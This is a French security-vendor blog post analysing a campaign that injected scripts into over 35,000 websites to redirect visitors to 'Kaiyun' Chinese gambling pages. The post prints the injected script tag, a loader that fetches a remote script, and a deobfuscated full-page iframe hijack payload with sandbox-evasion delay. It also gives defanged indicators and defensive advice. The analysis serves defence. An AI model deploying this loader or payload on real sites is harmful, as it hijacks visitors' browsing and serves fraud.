Skip to main content
Blog
Blog Attacks

Plus de 35 000 sites web ciblés par un détournement de page entière redirigeant vers une arnaque de jeu en ligne en langue chinoise

Une nouvelle campagne de malware a compromis plus de 35 000 sites web en y injectant un script malveillant depuis les domaines listés ci-dessous. Une fois le script chargé, il détourne intégralement la fenêtre du navigateur de l'utilisateur, le redirigeant souvent vers des pages faisant la promotion d'une plateforme de jeux d'argent (ou de casino) en langue chinoise.

Feb 20, 2025 7 min read
+35000-sites-attacked-image-cover

En bref : détournement pleine page Kaiyun ZuizhongJS mlbetjs sur 35 000 sites

  • Sites anonymes, ignorés : La plupart de l'attention se porte sur les attaques ciblées visant des marques connues, mais cette campagne a détourné plus de 35 000 sites web majoritairement anonymes pour promouvoir la marque de jeux d'argent Kaiyun. Elle est passée inaperçue car le trafic de la victime moyenne ne figure sur la liste de surveillance de personne.
  • Les IOCs : Mlbetjs[.]com a touché plus de 18 000 sites, ptfafajs[.]com plus de 9 000, zuizhongjs[.]com plus de 4 800, et la charge utile utilisait un délai aléatoire randomNum de 500 à 1000 ms pour esquiver les sandboxes avant d'écrire une iframe plein écran avec z-index 2147483647. L'agent JavaScript first-party de cside observe le comportement à l'exécution de chaque script en temps réel et avait déjà bloqué l'injection pour nos utilisateurs.
  • Passez à un inventaire runtime : Si votre inventaire de JS tiers vit encore dans un tableur, vous ne pouvez pas savoir si un unique script mlbetjs injecté redirige tranquillement votre trafic vers Kaiyun. Passez à un inventaire de scripts en runtime cette semaine.

Peu de temps ? Découvrez le blocage de Magecart et de skimmers dans le navigateur par cside. Elle couvre tout ce qui suit en un seul déploiement.

Une nouvelle campagne de malware a compromis plus de 35 000 sites web en y injectant un script malveillant depuis les domaines listés ci-dessous. Une fois le script chargé, il détourne intégralement la fenêtre du navigateur de l'utilisateur, le redirigeant souvent vers des pages faisant la promotion d'une plateforme de jeux d'argent (ou de casino) en langue chinoise.

L'attaque semble cibler des régions où le mandarin est courant, ou en provenir, et les pages de destination finales présentent du contenu de jeux d'argent sous la marque « Kaiyun ».

Liste des indicateurs de compromission (IoC) :

Avez-vous rencontré des redirections similaires ou de nouveaux IoC ? N'hésitez pas à les partager ou à contacter notre équipe. En mutualisant les données, nous pouvons identifier et neutraliser les menaces émergentes plus rapidement.

Tous les sites listés ci-dessus affichent le message suivant :

Page fictive affichée sur les sites détournés avec le message Félicitations, le site a été créé avec succès

Traduction :

Félicitations, le site a été créé avec succès ! Ceci est le fichier index.html par défaut. Cette page est générée automatiquement par le système. Cette page est le fichier index.html situé dans le répertoire racine FTP. Vous pouvez modifier, supprimer ou écraser cette page. Pour toute information relative au FTP, veuillez consulter « Panneau système > Administration > FTP ».

Le processus d'infection

À titre d'exemple, nous avons analysé zuizhongjs[.]com.

Les attaquants insèrent une balise <script> d'une seule ligne référençant zuizhongjs[.]com directement dans les fichiers du site (par exemple dans le <head> ou en bas du <body>). Voici un exemple du code injecté :

<script language="javascript"
        src="https://www.zuizhongjs[.]com/js/24/12/7/ky1.js"
        type="text/javascript"></script>

Chargeur obfusqué

Dans le fichier chargé, les attaquants utilisent un extrait JavaScript qui écrit un autre élément script pour récupérer du malware supplémentaire :

;(function(o, q, f, e, w, j) {
    w = q.createElement(f);
    j = q.getElementsByTagName(f)[0];
    w.async = 1;
    w.src = e;
    j.parentNode.insertBefore(w, j);
})(window, document, 'script', `https://deski.fastcloudcdn[.]com/m_c_b28cd5c86f08a2b35c766fc4390924de.js?qbsfsc=${Math.floor(Date.now() / 1000)}`);

Le code ci-dessus utilise la concaténation de chaînes et eval() pour dissimuler son véritable objectif. Il injecte une nouvelle balise <script> qui récupère la charge utile principale depuis le même domaine malveillant.

Charge utile principale (déobfusquée)

Voici une version simplifiée du script principal, illustrant les fonctionnalités clés :

function isMobile() {
    return navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i) ? true : false;
}

var url = "https://www.zuizhongjs[.]com/go/kaiyun1/ky.html";

function getIosVersion() {
    var str = navigator.userAgent.toLowerCase();
    var ver = str.match(/cpu iphone os (.*?) like mac os/);
    return ver ? parseInt(ver[1].slice(0,2)) : false;
}



var u = navigator.userAgent;
var isIOS = !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/);

function randomNum(minNum, maxNum) {
    return parseInt(Math.random() * (maxNum - minNum + 1) + minNum, 10);
}

const time = randomNum(500, 1000);
console.log(time);

document.write('<meta id="viewport" name="viewport" content="user-scalable=no,width=device-width, initial-scale=1.0" />');
document.write('<style>html,body{width:100%;height:100%;overflow:hidden; clear:both;}</style>');
document.write('<div style="width:100%;height:100%;position:absolute;top:0;left:0;z-index:2147483647;background:#fff">');
document.write('<iframe src="' + url + '" frameborder="0" style="border:0;width: 100%; text-align: center; height:100%;max-height: 4000px;"></iframe>');
document.write('</div>');

Points clés

  1. Détection de l'appareil
    • Utilise des fonctions telles que isMobile(), getIosVersion(), isIOS pour adapter la charge utile à des appareils ou systèmes d'exploitation spécifiques.
  2. Délai aléatoire
    • randomNum(500, 1000) introduit un délai de 500 à 1 000 ms pour contourner les analyses automatisées ou la détection par sandbox.
  3. Détournement plein écran
    • Le code injecte un élément et un <iframe> qui recouvrent intégralement la page, remplaçant tout le contenu d'origine.
  4. URL obfusquée
  5. Redirection finale

Les attaquants semblent acheminer le trafic vers un site de jeux d'argent en langue chinoise (ou de casino) opérant sous la marque « Kaiyun ».

Au cours de notre analyse, nous avons identifié plusieurs variantes sur des sites infectés :

Variante de la page du site de jeux d'argent chinois Kaiyun affichée sur un site infecté
Autre variante de la page de jeux d'argent Kaiyun affichée sur un site infecté

Certaines adresses IP ou régions voient s'afficher une page indiquant que l'accès est bloqué. Elle invite les utilisateurs à contacter une adresse e-mail ou un « support en ligne », probablement pour filtrer les chercheurs en sécurité ou limiter le trafic indésirable.

Page d'accès bloqué invitant les visiteurs à contacter une adresse e-mail ou un support en ligne

Lien possible avec l'exploit Megalayer

Notre analyse suggère que cette campagne pourrait être liée à l'exploit Megalayer, connu pour distribuer des malwares en langue chinoise. Les indices incluent :

  • Localisation : Texte en chinois, références à un public mandarinophone.
  • Schémas de domaines : La structure de zuizhongjs[.]com, ainsi que plusieurs domaines de redirection utilisant .vip ou d'autres TLD prisés par certains acteurs malveillants.
  • Techniques d'obfuscation : URL encodées en Unicode, délais introduits par le code, etc.

Comment protéger votre site web

cside analyse la charge utile de chaque requête de script en temps réel. Si un script tente de charger une version malveillante, nous le détectons, bloquons son chargement et alertons votre équipe.

cside a déjà bloqué cette attaque pour ses utilisateurs, en assurant une analyse en temps réel et une défense proactive. Si vous pensez que votre site est infecté, contactez immédiatement votre prestataire de sécurité ou votre hébergeur.

  1. Auditez votre code source
    • Vérifiez vos fichiers HTML, fichiers de thème et templates CMS pour détecter toute balise non autorisée référençant zuizhongjs[.]com ou des domaines similaires suspects.
  2. Bloquez les domaines malveillants
    • Utilisez des règles de pare-feu ou un blocage au niveau DNS pour : zuizhongjs[.]com
    • p11vt3[.]vip (et les sous-domaines associés)
  3. Surveillez les journaux pour détecter toute requête sortante inattendue vers ces domaines.
  4. Vérifiez les modifications non autorisées
    • Examinez régulièrement votre compte d'hébergement ou utilisez un outil de vérification d'intégrité des fichiers.
    • Tout changement inexpliqué dans les fichiers principaux peut indiquer une porte dérobée ou un point d'injection.
  5. Content Security Policy (CSP)
    • Limitez les scripts aux seuls domaines de confiance grâce à une CSP bien définie.
    • Empêchez le chargement de scripts inline et de sources inconnues.
  6. Analyses régulières du site
    • Des outils comme PublicWWW ou URLScan permettent de détecter des injections malveillantes à grande échelle.

La campagne de malware ZuizhongJS illustre comment un seul script injecté peut détourner des milliers de sites web, redirigeant des utilisateurs peu méfiants vers des portails de jeux d'argent en langue chinoise. La présence de logos de football bien connus et de références sportives suggère une tentative de crédibilisation, mais l'ensemble de l'opération semble opérer sans licence, voire être carrément frauduleuse.

  • Propriétaires de sites web : Supprimez tout script injecté, bloquez les domaines malveillants et renforcez votre configuration de sécurité pour éviter toute réinfection.
  • Chercheurs en sécurité : Des investigations supplémentaires sont nécessaires pour confirmer le lien avec Megalayer, identifier précisément les méthodes d'infiltration (par exemple, plugins CMS vulnérables, identifiants volés) et suivre les domaines additionnels.

cside a détecté et bloqué cette attaque avec succès. Si vous craignez une infection potentielle, notre système peut vous fournir une analyse en temps réel et une défense proactive.

Réserver un appel / une démo ou s'inscrire maintenant.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Surveillez et sécurisez vos scripts tiers

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Commencez gratuitement, ou essayez Business avec un essai de 14 jours.

Interface du tableau de bord cside affichant la surveillance des scripts et les analyses de sécurité
Related Articles
Réserver une démonstration

Envie de passer tout ça en revue avec un ingénieur ?

Trente minutes, sur votre propre site. Pas de slides.

Nous vous montrerons :

Quels scripts tiers s'exécutent actuellement sur votre site
Où vous en êtes sur les exigences PCI DSS 6.4.3 et 11.6.1
Quelle part de votre trafic provient de bots et d'agents IA

Vous préférez simplement poser une question ?

Recherche de créneaux…

Humains uniquement. On le saurait.

Un problème pour réserver ? Ouvrir le calendrier dans un nouvel onglet

Quel problème cherchez-vous à résoudre ?

Dites-le-nous en une ligne et nous reviendrons vers vous avec quelque chose d'utile, pas un discours générique.

Nous aidons souvent sur :

Voir quels scripts tiers s'exécutent sur votre site
Les preuves pour PCI DSS 6.4.3 et 11.6.1
Les bots, les agents IA et le vol de comptes

Vous préférez réserver un créneau ? Choisir un créneau